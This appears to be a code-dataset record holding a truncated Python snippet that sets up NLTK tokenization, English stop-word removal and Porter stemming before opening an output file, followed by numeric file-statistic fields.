null
null
null
from nltk.tokenize import RegexpTokenizer from stop_words import get_stop_words from nltk.stem.porter import PorterStemmer tokenizer = RegexpTokenizer(r'\w+') # create English stop words list en_stop = get_stop_words('en') # Create p_stemmer of class PorterStemmer p_stemmer = PorterStemmer() fp_out = open('destFile...
30.16
68
0.693634